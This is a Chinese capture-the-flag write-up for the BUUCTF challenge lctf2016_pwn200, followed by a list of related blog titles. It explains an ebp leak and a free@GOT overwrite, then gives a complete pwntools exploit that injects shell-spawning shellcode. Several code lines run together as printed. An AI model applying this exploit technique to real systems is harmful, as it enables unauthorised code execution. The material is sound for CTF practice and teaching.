[BUUCTF-pwn]——lctf2016_pwn200

  • 题目地址:https://buuoj.cn/challenges#lctf2016_pwn200

还是先chekcsec 一下, 没有开启NX代表我们可以手写shellcode并且执行

在IDA, 中大家自己看看就好,我这里将两个漏洞的位置告诉大家就好

寻找偏移

思路

利用漏洞1, 获得main_ebp地址, 寻找到我们写入的shellcode距离的位置
利用漏洞2 覆盖dest变量值为free的got表的地址, 这样通过strcpy(dest, &buf);free的got表指向的就是我们的shellcode了

exploit

from pwn import *
context.arch = 'amd64'  #保证shellcode 正确
context.log_level = 'debug'
p = process('./pwn200')
#p = remote('node3.buuoj.cn',26607)
elf = ELF('./pwn200')
free_got = elf.got["free"]
#gdb.attach(p)
shellcode = asm(shellcraft.sh())
p.sendafter('u?\n',shellcode+"a"*(48-len(shellcode)))ebp = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success("ebp --->> "+hex(ebp))
offset = -0x50
shellcode_addr = ebp + offset
log.success("shellcode_addr --->> " + hex(shellcode_addr))
p.sendline('0') p.recvuntil('\n')payload = p64(shellcode_addr)
p.send(payload + '\x00'*(0x38-len(payload)) + p64(free_got))  # 绕过检查
p.recvuntil('choice :')
p.sendline('2')
p.interactive()

[BUUCTF-pwn]——lctf2016_pwn200相关推荐

  1. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  2. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  3. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  4. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  5. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  6. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  7. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  8. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  9. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

  10. Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算

    32位,开启了RELRO保护,堆栈地址随机化 没有开启nx保护,可利用写入shellcode来获取shell 一开始给我们输出了参数s的地址 strcmp函数: 两个字符串自左向右逐个字符相比(按AS ...

最新文章

  1. 如何在用户控件中操作页面中的控件?
  2. Boost:移动容器的测试程序
  3. HTML DOM教程 22-HTML DOM Form 对象
  4. H.265在QRTC场景的落地运用
  5. h5jumppage.php,h5使用webviewjsbridge跟原生交互,点击标签调用2次webview
  6. HTML5中lineCap端点样式遇到closePath()
  7. import java.util_importjava.util.*;classKeyMaster{publi..._考试资料网
  8. 用python画的基本知识_Opencv-python画图基础知识
  9. 3.1.1 计算机网络之数据链路的基本概念和功能概述(转载)
  10. 关于图的题目不给数据范围的情况如何解决
  11. ARP协议-路由交换原理5-【HCNA笔记】
  12. RS485协议详解RS485与RS232优缺点比较
  13. 如何解决Python中的RuntimeWarning: invalid value encountered in double_scalars问题
  14. 前端SPA(single page web application单页面应用not水疗)
  15. 欧氏空间距离和内积_欧氏空间的内积与线性变换
  16. 【网络互联技术】(三) 网络互联基础。
  17. 修改Cisco交换机ntp服务器,如何配置Brocade和Cisco光纤交换机的NTP服务器
  18. 计算机科学期刊论文格式,计算机科学期刊投稿论文模板
  19. word如何优雅的保存代码
  20. 关于Vue ssr的一点探讨

热门文章

  1. switch 根据键盘录入成绩 显示分数及判断等级(第一次)
  2. [安全攻防进阶篇] 一.什么是逆向分析、逆向分析应用及经典扫雷游戏逆向
  3. iOS之深入解析保证线程安全的“锁”的使用和性能分析
  4. 【数据结构与算法】之深入解析“最长公共前缀”的求解思路与算法示例
  5. iOS之深入解析内存分配的五大区
  6. LeetCode Algorithm 811. 子域名访问计数
  7. LeetCode Algorithm 389. 找不同
  8. 树莓派AI视觉云台——8、WiringPi库函数
  9. 【Qt】 Qt中实时更新UI程序示例
  10. 计算机组成原理简单选择题,计算机组成原理选择题及答案.doc